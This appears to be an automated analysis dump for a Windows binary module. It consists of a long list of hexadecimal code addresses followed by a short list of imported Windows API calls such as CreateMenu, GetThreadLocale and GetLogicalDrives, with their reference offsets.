0x6ed263df
0x6ed263e2
0x6ed263e6
0x6ed263ea
0x6ed263ee
0x6ed263ee
0x6ed263f8
0x6ed263f8
0x00000000
0x6ed263d6
0x6ed2620b
0x6ed26210
0x6ed26210
0x6ed26218
0x6ed2621d
0x6ed26222
0x6ed26225
0x6ed2622a
0x6ed2622f
0x6ed26237
0x6ed2623f
0x6ed26247
0x00000000
0x00000000
0x6ed26249
0x6ed2624c
0x6ed26254
0x00000000
0x00000000
0x6ed26256
0x6ed26258
0x6ed26261
0x00000000
0x00000000
0x6ed26405
0x6ed2640a
0x6ed26410
0x6ed26413
0x6ed26416
0x6ed26419
0x6ed2641c
0x6ed2641e
0x6ed26a74
0x6ed26a74
0x6ed26a77
0x00000000
0x00000000
0x6ed26424
0x6ed2642c
0x6ed2642f
0x6ed26431
0x6ed26437
0x6ed26439
0x6ed2643f
0x6ed26449
0x6ed2644e
0x6ed26451
0x6ed26453
0x6ed26456
0x00000000
0x00000000
0x6ed2645c
0x6ed26461
0x6ed26464
0x6ed26467
0x6ed26470
0x6ed26470
0x6ed26473
0x6ed26475
0x6ed2647a
0x6ed2647d
0x6ed26482
0x6ed26484
0x6ed26486
0x6ed26489
0x6ed2649b
0x6ed2649e
0x6ed264a1
0x6ed264ad
0x6ed264b5
0x6ed264b9
0x6ed264bb
0x6ed264c3
0x6ed264c8
0x6ed264cf
0x6ed264d2
0x6ed264d6
0x6ed264d6
0x6ed264da
0x6ed264e2
0x6ed264e6
0x6ed265ae
0x6ed265b6
0x6ed265b7
0x6ed265ba
0x00000000
0x6ed265c0
0x6ed265c0
0x6ed265c6
0x6ed265c9
0x6ed265ce
0x6ed265d2
0x6ed265d5
0x6ed265d9
0x00000000
0x6ed265d9
0x00000000
0x6ed264ec
0x6ed264ec
0x6ed264f2
0x6ed264f2
0x6ed264f5
0x6ed264f8
0x6ed264f8
0x6ed264fc
0x6ed264fc
0x6ed26504
0x6ed26509
0x6ed26511
0x6ed26516
0x6ed2651e
0x6ed26522
0x6ed26524
0x6ed2652a
0x6ed2652f
0x6ed26534
0x6ed26538
0x6ed26542
0x6ed26545
0x6ed26549
0x6ed2654d
0x6ed26550
0x6ed26555
0x6ed2655a
0x6ed26562
0x6ed26562
0x6ed26568
0x6ed26570
0x6ed26571
0x6ed26574
0x6ed27920
0x6ed27920
0x6ed27925
0x6ed2792a
0x6ed2792a
0x6ed27930
0x6ed27938
0x6ed2793d
0x6ed27944
0x6ed27949
0x6ed27949
0x6ed27954
0x6ed27959
0x6ed2795e
0x6ed27963
0x6ed27968
0x6ed2796d
0x6ed2796d
0x6ed27978
0x6ed2797d
0x6ed27982
0x6ed27987
0x6ed2798c
0x6ed27991
0x6ed27991
0x6ed27997
0x6ed27997
0x6ed279a2
0x6ed279a7
0x6ed279ac
0x6ed279b1
0x6ed279b1
0x6ed279bc
0x6ed279c1
0x6ed279c1
0x6ed279cc
0x6ed279d1
0x6ed279d2
0x6ed279d3
0x6ed279d4
0x6ed279d5
0x6ed279d6
0x6ed279d7
0x6ed279d8
0x6ed279d9
0x6ed279da
0x6ed279db
0x6ed279dc
0x6ed279dd
0x6ed279de
0x6ed279df
0x6ed279e0
0x6ed279e6
0x6ed279e9
0x6ed279ee
0x6ed279f0
0x6ed279f4
0x6ed279f5
0x6ed279f7
0x6ed279fa
0x6ed279fc
0x6ed279fe
0x6ed27a07
0x6ed27a07
0x6ed27a00
0x6ed27a00
0x6ed27a05
0x00000000
0x00000000
0x6ed27a05
0x6ed279fe
0x6ed27a0a
0x6ed27a11
0x6ed27a16
0x6ed27a17
0x6ed27a21
0x6ed2657a
0x6ed2657a
0x6ed26582
0x6ed26586
0x6ed265e2
0x6ed265e8
0x6ed26588
0x6ed2658a
0x6ed26592
0x6ed26598
0x6ed2659b
0x6ed265a0
0x6ed265a4
0x6ed265a8
0x6ed265a8
0x6ed265f0
0x00000000
0x6ed265f0
0x6ed264a3
0x6ed264a6
0x00000000
0x6ed264a6
0x6ed2648b
0x6ed26491
0x6ed265f5
0x6ed265f8
0x6ed265fb
0x6ed265fe
0x6ed26600
0x6ed26602
0x6ed267d0
0x6ed267d6
0x6ed267e0
0x6ed267e0
0x6ed267e8
0x6ed267ed
0x6ed267ed
0x6ed267ef
0x6ed267f3
0x6ed267f7
0x6ed267fa
0x00000000
0x00000000
0x00000000
0x6ed26800
0x6ed26800
0x6ed26808
0x6ed2680f
0x6ed26816
0x6ed2681a
0x6ed2681e
0x6ed26821
0x6ed26827
0x6ed2682b
0x6ed26830
0x6ed26833
0x6ed26833
0x6ed26835
0x6ed26837
0x6ed26839
0x6ed2683e
0x6ed26846
0x6ed26846
0x6ed2684c
0x6ed2684c
0x6ed26854
0x6ed26854
0x6ed2685d
0x6ed26866
0x6ed2686c
0x6ed26870
0x6ed26874
0x6ed26878
0x6ed2687c
0x6ed26880
0x6ed26880
0x6ed2688a
0x6ed26892
0x6ed268e5
0x6ed267e0
0x6ed267e0
0x6ed267e8
0x6ed267ed
0x6ed267ed
0x6ed267ef
0x6ed267f3
0x6ed267f7
0x6ed267fa
0x00000000
0x00000000
0x00000000
0x6ed267fa
0x6ed267e0
0x6ed26894
0x6ed268a0
0x6ed268a0
0x6ed268a2
0x6ed268a6
0x6ed268aa
0x6ed268af
0x6ed268b2
0x6ed268b6
0x6ed268b9
0x6ed268bd
0x6ed268c1
0x6ed268c4
0x6ed268c8
0x6ed268cb
0x6ed268cf
0x6ed268d2
0x6ed268da
0x6ed268da
0x6ed268e0
0x6ed267e0
0x00000000
0x6ed26602
0x00000000
0x6ed26608
0x6ed26608
0x6ed2660e
0x6ed2660f
0x6ed2660f
0x6ed26618
0x6ed26618
0x6ed2661e
0x6ed267a0
0x6ed267a0
0x6ed267a4
0x6ed267b6
0x6ed267b9
0x6ed267bb
0x6ed267be
0x6ed267c0
0x00000000
0x6ed267c6
0x6ed267c6
0x00000000
0x6ed267c6
0x6ed267a6
0x6ed267a6
0x6ed267aa
0x00000000
0x6ed267ac
0x6ed267ac
0x6ed267b0
0x6ed26983
0x6ed26986
0x6ed2698c
0x6ed2698e
0x6ed26a50
0x6ed26a55
0x6ed26a5a
0x6ed26a67
0x6ed26a6d
0x6ed26a6f
0x6ed26a7a
0x6ed26a7a
0x6ed26a82
0x6ed26a87
0x6ed26a90
0x6ed26a90
0x6ed26a98
0x6ed26a9b
0x6ed26aa3
0x6ed26aa7
0x6ed26aac
0x6ed26ab4
0x6ed26ab4
0x6ed26ab5
0x6ed26abd
0x6ed26ac2
0x6ed26ac5
0x6ed26ac9
0x6ed26acd
0x6ed26ad2
0x6ed26ad2
0x6ed26ad8
0x6ed26ada
0x6ed26b8b
0x6ed26b8e
0x6ed26b90
0x6ed26b96
0x6ed26b98
0x6ed26b9b
0x6ed26b9e
0x6ed26ba1
0x6ed26ba4
0x6ed26ba6
0x6ed26ba8
0x6ed26baa
0x6ed26bb0
0x6ed26bb0
0x6ed26bb5
0x6ed26bba
0x6ed26bc2
0x6ed26bc7
0x6ed26bcf
0x6ed26bd1
0x6ed26bd2
0x6ed26bd4
0x6ed26bd5
0x6ed26bda
0x6ed26bdd
0x6ed26be2
0x6ed26be2
0x6ed26be2
0x6ed26be7
0x6ed26bec
0x6ed26bef
0x6ed26bf2
0x6ed26bf7
0x6ed26bfa
0x6ed26bfa
0x6ed26bff
0x6ed26c07
0x6ed26c07
0x6ed26c08
0x6ed26c0b
0x6ed26c10
0x6ed26c10
0x6ed26c18
0x6ed26c1b
0x6ed26c1f
0x6ed26c24
0x6ed26c2c
0x6ed26c2c
0x6ed26c2d
0x6ed26c35
0x6ed26c3a
0x6ed26c3f
0x6ed26c43
0x6ed26c47
0x6ed26c47
0x6ed26c50
0x6ed26c53
0x6ed26c55
0x6ed26c57
0x6ed26d00
0x6ed26d05
0x6ed26d0d
0x6ed26d0e
0x6ed26d11
0x00000000
0x6ed26d17
0x6ed26d17
0x6ed26d1f
0x6ed26d47
0x6ed26d56
0x6ed26d5b
0x6ed26d5f
0x6ed26d64
0x6ed26d6c
0x6ed26d71
0x6ed26d76
0x6ed26d7e
0x6ed26d82
0x6ed26d86
0x6ed26d89
0x6ed26d8d
0x6ed26d21
0x6ed26d23
0x6ed26d2b
0x6ed26d2f
0x6ed26d32
0x6ed26d3a
0x6ed26d42
0x6ed26d42
0x6ed26d90
0x6ed26d98
0x6ed278fb
0x6ed27903
0x6ed2790b
0x6ed27910
0x6ed27910
0x6ed2791b
0x00000000
0x6ed26d9e
0x6ed26d9e
0x6ed26da6
0x6ed26dab
0x6ed26db3
0x6ed26dc0
0x6ed26dc0
0x6ed26dc0
0x6ed26dc3
0x6ed26dc5
0x6ed26dc9
0x6ed26dcc
0x6ed26dd0
0x6ed26dd3
0x6ed26dd7
0x6ed26dda
0x6ed26ddf
0x6ed26de3
0x6ed26de6
0x6ed26dea
0x6ed26dea
0x6ed26df1
0x00000000
0x6ed26df1
0x6ed26d98
0x6ed26c5d
0x6ed26c5d
0x6ed26c65
0x6ed26c6a
0x6ed26c6f
0x6ed26c72
0x6ed26c77
0x6ed26c7c
0x6ed26c84
0x6ed26c87
0x6ed26c8b
0x6ed26c92
0x6ed26c96
0x6ed26c98
0x6ed26c9b
0x6ed26ca3
0x6ed26ca8
0x6ed26caa
0x6ed26cb0
0x6ed26cb5
0x6ed26cb8
0x6ed26cbb
0x6ed26cbf
0x6ed26cc2
0x6ed26cc4
0x6ed26cc7
0x6ed26cca
0x6ed26ccd
0x6ed26ccf
0x6ed26cd1
0x6ed26cd1
0x6ed26cd3
0x6ed26cd4
0x6ed26cd6
0x6ed26cd7
0x6ed26cd7
0x6ed26cd7
0x6ed26cdc
0x6ed26cdf
0x6ed26ce2
0x6ed26ce2
0x6ed26ce6
0x6ed26ce9
0x6ed26cec
0x6ed26cec
0x6ed26cf0
0x6ed26cf3
0x6ed26cf8
0x6ed26cf8
0x6ed26df9
0x6ed26df9
0x6ed26e01
0x6ed26e06
0x6ed26e10
0x6ed26e10
0x6ed26e18
0x6ed26e1c
0x6ed26e1f
0x6ed26e23
0x6ed26e28
0x6ed26e30
0x6ed26e30
0x6ed26e31
0x6ed26e39
0x6ed26e3e
0x6ed26e43
0x6ed26e47
0x6ed26e4b
0x6ed26e4f
0x6ed26e4f
0x6ed26e5c
0x6ed26e61
0x6ed26e63
0x6ed26e65
0x6ed26e7a
0x6ed26e82
0x6ed26e83
0x6ed26e86
0x6ed26e90
0x6ed26e95
0x6ed26e9a
0x6ed26e9d
0x6ed26ea5
0x6ed26eaa
0x6ed26eab
0x6ed26eab
0x6ed26e90
0x6ed26eb0
0x6ed26eb8
0x6ed26eba
0x6ed26ec0
0x6ed26ec3
0x6ed26ec3
0x6ed26ec8
0x6ed26ecb
0x6ed26e67
0x6ed26e6a
0x6ed26e6d
0x6ed26e72
0x6ed26e75
0x6ed26e75
0x6ed26ece
0x6ed26ed1
0x6ed26ed3
0x6ed273bd
0x6ed273bd
0x6ed273c5
0x6ed273ca
0x6ed273d0
0x6ed273d0
0x6ed273d8
0x6ed273db
0x6ed273df
0x6ed273e4
0x6ed273ec
0x6ed273ec
0x6ed273ed
0x6ed273f5
0x6ed273fa
0x6ed273ff
0x6ed27403
0x6ed27407
0x6ed27407
0x6ed2740d
0x6ed27410
0x6ed27413
0x6ed27415
0x6ed27430
0x6ed27417
0x6ed27417
0x6ed2741f
0x6ed27422
0x6ed27428
0x6ed27428
0x6ed27433
0x6ed27437
0x6ed27749
0x6ed27749
0x6ed27751
0x6ed27756
0x6ed27760
0x6ed27760
0x6ed27768
0x6ed2776b
0x6ed2776f
0x6ed27774
0x6ed2777c
0x6ed2777c
0x6ed2777d
0x6ed27785
0x6ed2778a
0x6ed2778f
0x6ed27793
0x6ed27797
0x6ed27797
0x6ed2779d
0x6ed277a0
0x6ed2784e
0x6ed27851
0x6ed2785a
0x6ed2785c
0x6ed27863
0x6ed278da
0x00000000
0x6ed27865
0x6ed27865
0x6ed2786b
0x6ed27872
0x6ed27874
0x6ed27876
0x6ed278dc
0x6ed278dc
0x6ed278e1
0x6ed278eb
0x6ed278ec
0x6ed278ed
0x6ed278ef
0x6ed278f8
0x6ed27878
0x6ed27878
0x6ed2787c
0x6ed2787f
0x6ed27881
0x6ed27883
0x6ed2788b
0x6ed2788e
0x6ed27891
0x6ed27894
0x6ed27896
0x6ed27898
0x6ed27898
0x6ed2789b
0x00000000
0x00000000
0x6ed2789d
0x6ed2789f
0x6ed278a1
0x00000000
0x00000000
0x6ed278a3
0x00000000
0x6ed278a1
0x6ed278a5
0x6ed278a5
0x6ed27896
0x6ed27883
0x6ed278a8
0x6ed278ad
0x6ed278be
0x6ed278c0
0x6ed278c1
0x6ed278c2
0x6ed278c6
0x6ed278d0
0x6ed278d0
0x6ed27876
0x6ed277a6
0x6ed277a6
0x6ed277ae
0x6ed277b6
0x6ed277c0
0x6ed277c0
0x6ed277c8
0x6ed277cc
0x00000000
0x00000000
0x6ed277ce
0x6ed277d4
0x6ed277dc
0x6ed277f8
0x6ed277f8
0x6ed27800
0x6ed27800
0x6ed27803
0x6ed27807
0x6ed27807
0x6ed2780d
0x6ed27811
0x6ed27819
0x6ed27820
0x6ed27823
0x6ed27827
0x6ed2782b
0x6ed2782b
0x6ed27830
0x6ed27838
0x6ed27840
0x00000000
0x6ed27846
0x00000000
0x6ed27846
0x00000000
0x6ed277e6
0x6ed277e6
0x6ed277ee
0x6ed277f2
0x00000000
0x00000000
0x00000000
0x6ed277f2
0x6ed277c0
0x6ed2743d
0x6ed2743f
0x6ed27444
0x6ed27446
0x6ed27449
0x6ed2744c
0x6ed2744f
0x6ed27452
0x6ed27457
0x6ed27459
0x6ed27746
0x6ed27746
0x00000000
0x6ed2745f
0x6ed2745f
0x6ed27462
0x6ed27467
0x6ed27467
0x6ed2746a
0x6ed27481
0x6ed27489
0x6ed2748d
0x6ed27498
0x6ed2749d
0x6ed274a5
0x6ed274a9
0x6ed274ac
0x6ed274b4
0x6ed274b4
0x6ed274b9
0x6ed274c1
0x6ed274c5
0x6ed274c7
0x6ed274cd
0x6ed274d5
0x6ed274d8
0x6ed274d8
0x6ed274dd
0x6ed2746c
0x6ed2746e
0x6ed27471
0x6ed27474
0x6ed27477
0x6ed2747a
0x6ed2747c
0x6ed2747c
0x6ed274e0
0x6ed274e2
0x00000000
0x00000000
0x6ed274eb
0x6ed274eb
0x6ed274f0
0x6ed274f0
0x6ed274f1
0x6ed274f4
0x6ed274f7
0x6ed27569
0x6ed27571
0x6ed27572
0x6ed27575
0x00000000
0x6ed2757b
0x6ed2757b
0x6ed27583
0x6ed27598
0x6ed275a0
0x6ed275a5
0x6ed275a9
0x6ed275ab
0x6ed275b3
0x6ed275b4
0x6ed275b5
0x6ed27585
0x6ed27587
0x6ed2758f
0x6ed27590
0x6ed27591
0x6ed27592
0x6ed27594
0x6ed27594
0x6ed275bb
0x6ed275bd
0x6ed275c2
0x6ed275c5
0x6ed275ca
0x6ed275d2
0x6ed275d7
0x6ed275d9
0x6ed275d9
0x6ed275e0
0x6ed275e0
0x6ed275e4
0x6ed275e8
0x6ed275ed
0x6ed275f1
0x6ed275f5
0x6ed275f9
0x6ed275fe
0x6ed27602
0x6ed27607
0x6ed27607
0x6ed27609
0x6ed2760d
0x6ed27611
0x6ed27619
0x6ed27619
0x6ed275e0
0x6ed27620
0x6ed27628
0x6ed2762c
0x00000000
0x6ed27632
0x6ed27632
0x6ed2763a
0x00000000
0x6ed27640
0x6ed27640
0x6ed27648
0x6ed2764c
0x00000000
0x6ed27652
0x6ed27652
0x6ed27655
0x00000000
0x6ed27655
0x6ed2764c
0x6ed2763a
0x6ed2762c
0x6ed274f9
0x6ed274f9
0x6ed274ff
0x6ed27503
0x6ed27507
0x6ed27520
0x6ed27524
0x6ed2753d
0x6ed27541
0x6ed2754b
0x6ed2754f
0x6ed27551
0x00000000
0x6ed27551
0x6ed27543
0x6ed27546
0x6ed27554
0x6ed27554
0x6ed2755a
0x6ed2755a
0x6ed2755a
0x6ed2755a
0x6ed2755e
0x6ed27561
0x6ed27526
0x6ed27526
0x6ed2752f
0x6ed27532
0x6ed27535
0x6ed27535
0x6ed27509
0x6ed27509
0x6ed27512
0x6ed27515
0x6ed27518
0x6ed27518
0x00000000
0x6ed27507
0x00000000
0x6ed27658
0x6ed27658
0x6ed2765b
0x6ed2765b
0x6ed27663
0x6ed27666
0x6ed27669
0x6ed27669
0x6ed2766c
0x6ed2766d
0x6ed27670
0x6ed27673
0x6ed2767f
0x6ed27681
0x6ed27686
0x6ed2768b
0x6ed2768b
0x6ed27690
0x6ed2769b
0x6ed276a4
0x6ed276a8
0x6ed276b0
0x6ed276b1
0x6ed276b4
0x6ed276b6
0x6ed276b6
0x6ed276bd
0x6ed276c0
0x6ed276c4
0x6ed276c9
0x6ed276cc
0x6ed276cf
0x6ed276d7
0x6ed276da
0x6ed276dd
0x6ed276dd
0x6ed276e4
0x6ed276ec
0x6ed276f0
0x6ed276f8
0x6ed276fa
0x6ed27702
0x6ed27702
0x6ed27706
0x6ed2770a
0x6ed2770d
0x6ed27711
0x6ed27715
0x6ed27719
0x6ed2771d
0x6ed27721
0x6ed27721
0x6ed27702
0x6ed27728
0x6ed2772b
0x6ed2772e
0x6ed27675
0x6ed27675
0x6ed27677
0x6ed27677
0x6ed27731
0x6ed27734
0x6ed27737
0x6ed2773a
0x6ed2773c
0x00000000
0x6ed2773e
0x6ed2773e
0x00000000
0x6ed2773e
0x00000000
0x6ed2773c
0x6ed27467
0x6ed27459
0x6ed26ee0
0x6ed26ee0
0x6ed26ee0
0x6ed26ee3
0x00000000
0x00000000
0x6ed26eec
0x6ed26ef1
0x6ed26ef3
0x6ed26f1c
0x6ed26f24
0x6ed26f28
0x6ed26f2a
0x6ed26f2a
0x6ed26f30
0x6ed26f38
0x6ed26f3d
0x6ed26f3f
0x6ed26f44
0x6ed26f47
0x6ed26f47
0x6ed26f4a
0x6ed26f50
0x6ed26f50
0x6ed26f61
0x6ed26f63
0x6ed26f67
0x6ed26f6c
0x6ed26f76
0x6ed26f7c
0x6ed26f7f
0x6ed26f84
0x6ed26f8f
0x6ed26f92
0x6ed26f97
0x6ed26f9c
0x6ed26fa1
0x6ed26fa9
0x6ed26faa
0x6ed26faa
0x6ed26fb6
0x6ed26fb8
0x6ed26fbd
0x6ed26fc1
0x6ed26fc9
0x6ed26fd1
0x6ed27048
0x6ed27048
0x6ed27050
0x6ed27055
0x6ed27058
0x6ed2705b
0x6ed27063
0x6ed26fd3
0x6ed26fda
0x6ed26fdc
0x6ed26fe1
0x6ed26fe9
0x6ed26fed
0x6ed26ff5
0x6ed26ff9
0x00000000
0x6ed26ffb
0x6ed26ffd
0x6ed27005
0x6ed27009
0x6ed2700d
0x6ed27012
0x6ed2701f
0x6ed27024
0x6ed2702b
0x6ed27033
0x6ed27038
0x6ed2703d
0x6ed27042
0x6ed27042
0x6ed26ff9
0x6ed27067
0x6ed2706f
0x6ed27073
0x6ed27078
0x00000000
0x6ed2707e
0x6ed2707e
0x6ed27081
0x6ed27084
0x00000000
0x6ed27084
0x6ed26ef5
0x6ed26efb
0x6ed26f00
0x6ed26f06
0x6ed26f09
0x6ed26f0e
0x6ed26f11
0x6ed26f14
0x6ed27087
0x6ed27087
0x6ed2708a
0x6ed27090
0x6ed27090
0x6ed27092
0x6ed270ea
0x6ed270ea
0x6ed270ed
0x6ed270ef
0x6ed270f1
0x00000000
0x6ed270f3
0x6ed270f3
0x6ed270f6
0x6ed27100
0x6ed27100
0x6ed27102
0x00000000
0x00000000
0x6ed27108
0x6ed27110
0x6ed27112
0x6ed27112
0x6ed27118
0x6ed27120
0x6ed27125
0x6ed2712a
0x6ed27130
0x6ed27132
0x6ed27134
0x6ed27138
0x6ed2713a
0x6ed2713d
0x6ed27141
0x6ed27145
0x6ed27149
0x6ed2714a
0x6ed2714a
0x6ed2714f
0x6ed27157
0x6ed2715c
0x6ed27164
0x6ed27168
0x6ed2716a
0x6ed27170
0x6ed27170
0x6ed27176
0x6ed27180
0x6ed27182
0x6ed27187
0x6ed2718f
0x6ed27193
0x6ed27196
0x6ed27196
0x6ed27170
0x6ed2719d
0x6ed271a5
0x6ed271aa
0x6ed271b1
0x6ed271b1
0x6ed271b8
0x6ed271bd
0x6ed271c2
0x6ed271c4
0x6ed271c6
0x6ed271cb
0x6ed271d0
0x6ed271d4
0x6ed271dc
0x6ed271dc
0x6ed271e3
0x6ed271e6
0x6ed271e7
0x6ed271ea
0x6ed271ec
0x00000000
0x6ed271f2
0x00000000
0x6ed271f2
0x00000000
0x6ed271ec
0x6ed271f9
0x6ed271fc
0x6ed27206
0x6ed27209
0x00000000
0x6ed27209
0x6ed27094
0x6ed27094
0x6ed27096
0x6ed27098
0x00000000
0x6ed2709a
0x6ed2709a
0x6ed2709d
0x6ed270a0
0x6ed270a5
0x6ed270ab
0x6ed270ae
0x6ed270c0
0x6ed270c2
0x6ed270c4
0x6ed270c6
0x6ed270c6
0x6ed27210
0x6ed27218
0x6ed2721d
0x6ed27222
0x6ed27222
0x6ed27228
0x6ed2722d
0x6ed27231
0x6ed27234
0x6ed27238
0x6ed2723c
0x6ed2723f
0x6ed27243
0x6ed27247
0x6ed2724c
0x6ed2724f
0x6ed27253
0x6ed27258
0x6ed2725b
0x6ed2725e
0x6ed27262
0x6ed27265
0x6ed2726a
0x6ed2726f
0x6ed27272
0x6ed27276
0x6ed2727e
0x6ed27283
0x6ed27284
0x6ed27284
0x6ed27289
0x6ed270cc
0x6ed270cc
0x6ed270cc
0x6ed270cf
0x6ed270d2
0x6ed270d7
0x6ed270d9
0x6ed270df
0x6ed270e2
0x6ed270e2
0x6ed270d9
0x6ed270c6
0x6ed27098
0x6ed2728c
0x6ed2728f
0x6ed2728f
0x6ed27298
0x6ed27298
0x6ed27298
0x6ed2729b
0x6ed2729e
0x6ed272ae
0x6ed272b6
0x6ed272b7
0x6ed272ba
0x6ed272bc
0x6ed272d0
0x6ed272d7
0x6ed272e3
0x6ed272e8
0x6ed272f0
0x6ed272f3
0x6ed272f8
0x6ed272fd
0x6ed27301
0x6ed27301
0x6ed27306
0x6ed2730e
0x00000000
0x6ed27314
0x6ed27314
0x6ed2731c
0x6ed2731c
0x6ed2731e
0x6ed27322
0x6ed27327
0x6ed2732b
0x6ed27330
0x6ed27330
0x6ed27339
0x6ed27340
0x6ed27345
0x6ed2734b
0x6ed2734c
0x6ed27351
0x6ed27355
0x6ed27359
0x6ed2735e
0x6ed27361
0x6ed27369
0x6ed2736d
0x6ed2736d
0x6ed27330
0x6ed27374
0x6ed2737c
0x6ed2737e
0x6ed27380
0x6ed27388
0x6ed2738d
0x6ed2738f
0x6ed27392
0x6ed27396
0x6ed2739a
0x6ed273a2
0x6ed273a2
0x6ed273a9
0x6ed273ac
0x00000000
0x6ed273ac
0x6ed272a0
0x6ed272a3
0x6ed272a6
0x6ed273af
0x6ed273af
0x6ed273b2
0x6ed273b5
0x6ed273b7
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed273b7
0x6ed2729e
0x00000000
0x6ed26ef3
0x00000000
0x6ed26ee0
0x6ed26ed3
0x6ed26ae0
0x6ed26ae0
0x6ed26ae5
0x6ed26aed
0x6ed26af1
0x6ed26af8
0x6ed26afa
0x6ed26b03
0x6ed26b08
0x6ed26b0c
0x6ed26b0e
0x6ed26b10
0x6ed26b14
0x6ed26b19
0x6ed26b21
0x6ed26b26
0x6ed26b2b
0x6ed26b2e
0x6ed26b33
0x6ed26b38
0x6ed26b38
0x6ed26b3c
0x6ed26b44
0x6ed26b4a
0x6ed26b55
0x6ed26b55
0x6ed26b57
0x6ed26b5b
0x6ed26b5f
0x6ed26b64
0x6ed26b68
0x6ed26b6d
0x6ed26b6e
0x6ed26b6e
0x6ed26b71
0x6ed26b73
0x6ed26b76
0x6ed26b7b
0x6ed26b83
0x00000000
0x00000000
0x6ed26b89
0x6ed26b55
0x00000000
0x6ed26b44
0x6ed26994
0x6ed26994
0x6ed2699a
0x6ed269a0
0x6ed269a0
0x6ed269a8
0x6ed269ac
0x00000000
0x00000000
0x6ed269ae
0x6ed269b6
0x6ed269ba
0x00000000
0x6ed269bc
0x6ed269bc
0x6ed269cb
0x6ed269d0
0x6ed269d4
0x6ed269d7
0x6ed269db
0x6ed269df
0x6ed269df
0x6ed26a07
0x6ed26a07
0x6ed26a0f
0x6ed26a10
0x6ed26a13
0x6ed26a19
0x6ed26a1f
0x6ed26a21
0x6ed26a26
0x6ed26a26
0x6ed26a2a
0x6ed26a2f
0x6ed26a32
0x6ed26a37
0x6ed26a39
0x6ed26a3d
0x6ed26a41
0x6ed26a41
0x00000000
0x6ed26a4b
0x00000000
0x6ed269e5
0x6ed269e5
0x6ed269f2
0x6ed269f5
0x6ed269f9
0x6ed269fc
0x6ed26a04
0x00000000
0x6ed26a04
0x6ed269a0
0x00000000
0x00000000
0x00000000
0x6ed267b0
0x6ed267aa
0x6ed26624
0x6ed26627
0x6ed2662c
0x6ed26631
0x6ed26634
0x6ed26637
0x6ed26644
0x6ed26646
0x6ed26649
0x6ed26654
0x6ed26657
0x6ed2665a
0x6ed2665c
0x6ed2665c
0x6ed2665e
0x6ed26661
0x6ed26664
0x6ed26666
0x6ed26669
0x6ed2666b
0x6ed2666b
0x6ed2666d
0x6ed26670
0x6ed26670
0x6ed26673
0x6ed26679
0x6ed2667b
0x6ed2667d
0x6ed2667d
0x6ed26681
0x6ed26687
0x6ed266a1
0x6ed266a1
0x6ed266a4
0x6ed266a7
0x6ed268f2
0x6ed268f4
0x6ed268f9
0x6ed26901
0x6ed26902
0x6ed26905
0x6ed26907
0x6ed2690c
0x6ed26910
0x6ed26910
0x6ed2691a
0x6ed26922
0x6ed26924
0x6ed26929
0x6ed2692e
0x6ed26932
0x6ed26934
0x6ed26937
0x6ed2693c
0x6ed2693f
0x6ed26947
0x6ed26948
0x6ed26948
0x6ed26910
0x6ed2694d
0x6ed26955
0x6ed26959
0x6ed26961
0x6ed26967
0x6ed26970
0x6ed26970
0x6ed26973
0x6ed26977
0x6ed2697b
0x00000000
0x00000000
0x6ed26981
0x6ed26970
0x00000000
0x6ed266ad
0x6ed266b0
0x6ed266b6
0x6ed266be
0x6ed266c1
0x6ed266c4
0x6ed266ca
0x6ed266d6
0x6ed266dc
0x6ed266e8
0x6ed266ee
0x6ed266f3
0x6ed266f6
0x6ed266f6
0x6ed266f8
0x6ed266fd
0x6ed266fd
0x6ed266de
0x6ed266e3
0x6ed266e3
0x6ed266cc
0x6ed266d1
0x6ed266d1
0x6ed26700
0x6ed26700
0x6ed26706
0x00000000
0x6ed26706
0x6ed26689
0x6ed26689
0x6ed2668f
0x00000000
0x6ed26691
0x6ed26691
0x6ed26694
0x6ed26699
0x6ed2669f
0x6ed26709
0x6ed26709
0x6ed2670c
0x6ed2670e
0x6ed26711
0x6ed26713
0x6ed26719
0x6ed26719
0x6ed2671b
0x6ed26720
0x6ed26720
0x6ed26722
0x00000000
0x00000000
0x6ed26724
0x6ed2672c
0x6ed26731
0x6ed26731
0x6ed26734
0x6ed26735
0x6ed26738
0x6ed2673a
0x6ed26740
0x6ed26740
0x6ed26746
0x6ed2674a
0x6ed2674c
0x6ed2674e
0x6ed2674f
0x6ed2674f
0x6ed26751
0x6ed26755
0x6ed26759
0x6ed26761
0x6ed26766
0x6ed26767
0x6ed26767
0x6ed2676c
0x6ed2676c
0x6ed2676f
0x6ed26772
0x6ed26773
0x6ed26775
0x00000000
0x6ed26777
0x6ed26777
0x6ed2677a
0x6ed2677a
0x00000000
0x6ed26775
0x6ed26785
0x6ed26788
0x6ed26788
0x6ed2678b
0x6ed2678e
0x6ed2678e
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed2669f
0x6ed2668f
0x00000000
0x6ed26791
0x6ed26791
0x6ed26794
0x6ed26797
0x6ed26797
0x00000000
0x6ed26664
0x00000000
0x6ed2661e
0x6ed26424
0x00000000
0x6ed26267
0x6ed26267
0x6ed26268
0x6ed26268
0x6ed26210
0x00000000

APIs

__aulldiv.LIBCMT ref: 6ED26154
__aullrem.LIBCMT ref: 6ED26189
CreateMenu.USER32(3F169FAE,00000000,0000005F,00000000,00000002,75140DE0,00000000), ref: 6ED262A3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6ED262E7
GetProcessWindowStation.USER32(3F169FAE,00000000,0000005F,00000000,00000002,75140DE0,00000000), ref: 6ED2633D
GetDialogBaseUnits.USER32 ref: 6ED2637A

Part of subcall function 6ED25ED0: GdiFlush.GDI32(00000031,0000004F,?,6ED26387), ref: 6ED25EF5
Part of subcall function 6ED25ED0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6ED25F01

Part of subcall function 6ED25F20: GetThreadLocale.KERNEL32(00000000,00000031,0000004F,?,?,?,?,6ED25E78,?,?,?,?,?,?,6ED25CF8), ref: 6ED25F67
Part of subcall function 6ED25F20: CoFreeUnusedLibraries.OLE32(?,?,?,?,6ED25E78,?,?,?,?,?,?,6ED25CF8,?,6ED26387), ref: 6ED25F80
Part of subcall function 6ED25F20: GetFocus.USER32 ref: 6ED25FB0
Part of subcall function 6ED25F20: SetFileApisToOEM.KERNEL32(?,?,?,?,6ED25E78,?,?,?,?,?,?,6ED25CF8,?,6ED26387), ref: 6ED25FE3
Part of subcall function 6ED25F20: GetClipboardSequenceNumber.USER32(?,?,?,?,6ED25E78,?,?,?,?,?,?,6ED25CF8,?,6ED26387), ref: 6ED26020

GetCurrentProcessorNumber.KERNEL32 ref: 6ED264EC
GetLogicalDrives.KERNEL32 ref: 6ED26524
GetLastError.KERNEL32 ref: 6ED26740
